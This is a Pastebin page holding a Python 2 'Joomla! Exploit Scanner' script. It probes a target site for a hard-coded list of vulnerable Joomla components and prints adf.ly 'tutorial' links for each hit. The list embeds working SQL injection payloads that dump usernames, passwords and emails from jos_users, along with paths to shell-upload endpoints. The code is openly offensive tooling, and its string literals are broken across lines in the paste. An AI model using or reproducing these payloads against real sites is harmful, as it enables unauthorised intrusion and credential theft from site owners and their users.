Mr_HaX0R

Joomla! Exploit Scanner

Aug 3rd, 2017
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.54 KB | None | 0 0
  1. #!/usr/bin/python
  2. #Joomla! Exploit Scanner.
  3. #Coded by ./SPIDER-LINUX
  4. #WWW.SPIDERLINUX-KU.BLOGSPOT.COM
  5.  
  6.  
  7. import sys
  8. import urllib2
  9. import re
  10. import time
  11. import httplib
  12. import random
  13.  
  14. # Color Console
  15. W  = '\033[0m'  # white (default)
  16. R  = '\033[31m' # red
  17. G  = '\033[1;32m' # green bold
  18. O  = '\033[33m' # orange
  19. B  = '\033[34m' # blue
  20. P  = '\033[35m' # purple
  21. C  = '\033[36m' # cyan
  22. GR = '\033[37m' # gray
  23.  
  24. #Bad HTTP Responses
  25. BAD_RESP = [400,401,404]
  26.  
  27. def main(path):
  28.     print "[+] Testing:",host.split("/",1)[1]+path
  29.     try:
  30.         h = httplib.HTTP(host.split("/",1)[0])
  31.         h.putrequest("HEAD", "/"+host.split("/",1)[1]+path)
  32.         h.putheader("Host", host.split("/",1)[0])
  33.         h.endheaders()
  34.         resp, reason, headers = h.getreply()
  35.         return resp, reason, headers.get("Server")
  36.     except(), msg:
  37.         print "Error Occurred:",msg
  38.         pass
  39.  
  40. def timer():
  41.     now = time.localtime(time.time())
  42.     return time.asctime(now)
  43.  
  44. def slowprint(s):
  45.     for c in s + '\n':
  46.         sys.stdout.write(c)
  47.         sys.stdout.flush() # defeat buffering
  48.         time.sleep(8./90)
  49.  
  50. print G+"\n\t                 Joomla! Exploit Scanner"
  51. slowprint (R+"\n\t                 Coded By "+O+"./Spider-
  52.  
  53. Linux"+O)
  54. print W+"                 FB.CoM/A7a.Warrior"
  55.  
  56. xpls = { "images/artforms/attachedfiles/" :
  57.  
  58. ["com_artforms","http://adf.ly/1ngbjh"],"index.php?
  59.  
  60. option=com_fabrik&c=import&view=import&filetype=csv&table=1" :
  61.  
  62. ["com_fabrik","http://adf.ly/1ngbm9"] , "index.php?
  63.  
  64. option=com_idoblog&task=profile&Itemid=1337&userid=62+union
  65.  
  66. +select+1,2,concat%28username,0x3a,password,0x3a,email
  67.  
  68. %29,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--" :
  69.  
  70. ["com_idoblog","http://adf.ly/1ngbqi"], "index.php?
  71.  
  72. option=com_ignitegallery&task=view&gallery=-4+union+all+select
  73.  
  74. +1,2,group_concat
  75.  
  76. (id,0x3a,name,0x3a,username,0x3a,email,0x3a,password,0x3a,usert
  77.  
  78. ype),4,5,6,7,8,9,10+from+jos_users--" :
  79.  
  80. ["com_ignitegallery","http://adf.ly/1ngbuM"],
  81.  
  82. "administrator/components/com_maian15/charts/php-ofc-
  83.  
  84. library/ofc_upload_image.php?name=shell.php" :
  85.  
  86. ["com_maian15","http://adf.ly/1ngbwJ"],
  87.  
  88. "administrator/components/com_maianmedia/charts/php-ofc-
  89.  
  90. library/ofc_upload_image.php?name=shell.php" :
  91.  
  92. ["com_maianmedia","http://adf.ly/1ngc1i"] , "index.php?
  93.  
  94. option=com_media&view=images&tmpl=component&fieldid=&e_name=jfo
  95.  
  96. rm_articletext&asset=com_content&author=&folder=" :
  97.  
  98. ["com_media","http://adf.ly/1ngc62"],
  99.  
  100. "administrator/components/com_redmystic/chart/tmp-upload-
  101.  
  102. images/" : ["com_redmystic","http://adf.ly/1ngc88"],
  103.  
  104. "index.php?option=com_users&view=registration" :
  105.  
  106. ["com_user","http://adf.ly/1ngcCe"], "index.php?option=com_jce"
  107.  
  108. : ["JCE","link"] , "index.php?
  109.  
  110. option=com_user&view=reset&layout=confirm" : ["com_user
  111.  
  112. 2","http://adf.ly/1ngcEY"] , "index.php?
  113.  
  114. option=com_shohada&view=shohada" :
  115.  
  116. ["com_shohada","http://adf.ly/1ngcGL"], "index.php?
  117.  
  118. option=com_smartformer" :
  119.  
  120. ["com_smartformer","http://adf.ly/1ngcIT"], "index.php?
  121.  
  122. option=com_garyscookbook&func=newItem" :
  123.  
  124. ["com_garyscookbook","http://adf.ly/1ngcL7"],"index.php/componen
  125.  
  126. t/osproperty/?task=agent_register" :
  127.  
  128. ["com_osproperty","http://adf.ly/1ngcRW"], "index.php?
  129.  
  130. option=com_acymailing&gtask=archive&listid=" : ["com_acymailing
  131.  
  132. [SQLi]","http://adf.ly/1ngcWS"], "index.php?
  133.  
  134. option=com_extplorer&action=show_error&dir=" :
  135.  
  136. ["com_extplorer","http://adf.ly/1ngcZM"] , "index.php?
  137.  
  138. option=com_xmap&tmpl=component&Itemid=999&view=" : ["com_xmap"
  139.  
  140. , "http://adf.ly/1ngcbx"] , "index.php?
  141.  
  142. option=com_content&task=blogcategory&id=60&Itemid=99999%20union
  143.  
  144. %20select%201,concat_ws(0x3a,username,password),3,4,5%20from
  145.  
  146. %20jos_users/*" : ["com_content [SQLi]" ,
  147.  
  148. "http://adf.ly/1ngcgj"] , "/index.php?
  149.  
  150. option=com_flippingbook&Itemid=28&book_id=null/**/union/**/sele
  151.  
  152. ct/**/null,concat
  153.  
  154. (username,0x3e,password),null,null,null,null,null,null,null,nul
  155.  
  156. l,null,null,null,null,null,null,null,null,null,null,null,null,n
  157.  
  158. ull,null,null,null,null,null,null,null,null,null,null,null,null
  159.  
  160. /**/from/**/jos_users/*" : ["com_flippingbook [SQLi]" ,
  161.  
  162. "http://adf.ly/1ngcjc"] , "index.php?
  163.  
  164. option=com_phocagallery&view=categories&Itemid=" :
  165.  
  166. ["com_phocagallery" , "http://adf.ly/1ngclY"] , "index.php?
  167.  
  168. option=com_lyftenbloggie&author=62+union+select+1,concat_ws
  169.  
  170. (0x3a,username,password),3,4,@@version,6,7,8,9,10,11,12,13,14,1
  171.  
  172. 5,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from
  173.  
  174. +jos_users--" : ["com_lyftenbloggie [SQLi]" ,
  175.  
  176. "http://adf.ly/1ngcoC"] , "index.php?
  177.  
  178. option=com_wrapper&view=wrapper&Itemid=":
  179.  
  180. ["com_wrapper","http://adf.ly/1ngcvU"] , "index.php?
  181.  
  182. option=com_fireboard&Itemid=":
  183.  
  184. ["com_fireboard","http://adf.ly/1ngcym"], "j/index.php?
  185.  
  186. option=com_mailto&tmpl=component&template=beez_20&link=":
  187.  
  188. ["com_mailto [SPAM]","http://adf.ly/1ngd0d"]}
  189.  
  190. if len(sys.argv) != 2:
  191.     print "\nUsage: python joomlascan.py <site>"
  192.     print "Example: python joomlascan.py www.site.com/\n"
  193.     sys.exit(1)
  194.  
  195. host = sys.argv[1].replace("http://","").rsplit("/",1)[0]
  196. if host[-1] != "/":
  197.     host = host+"/"
  198.    
  199. print "\n[+] Target:",host
  200. print "[+] Exploit Loaded:",len(xpls)
  201.  
  202. print "\n[+] Scanning Exploit\n"
  203. for xpl,(poc,expl) in xpls.items():
  204.     resp,reason,server = main(xpl)
  205.     if resp not in BAD_RESP:
  206.         print ""
  207.         print G+"\t[+] Result:",resp, reason
  208.         print G+"\t[+] Exploit:",poc
  209.         print G+"\t[+] Tutorial:",expl
  210.         print W
  211.     else:
  212.         print ""
  213.         print R+"\t[-] Result:",resp, reason
  214.         print W
  215. print "\n[-] Done\n"
Add Comment
Please, Sign In to add comment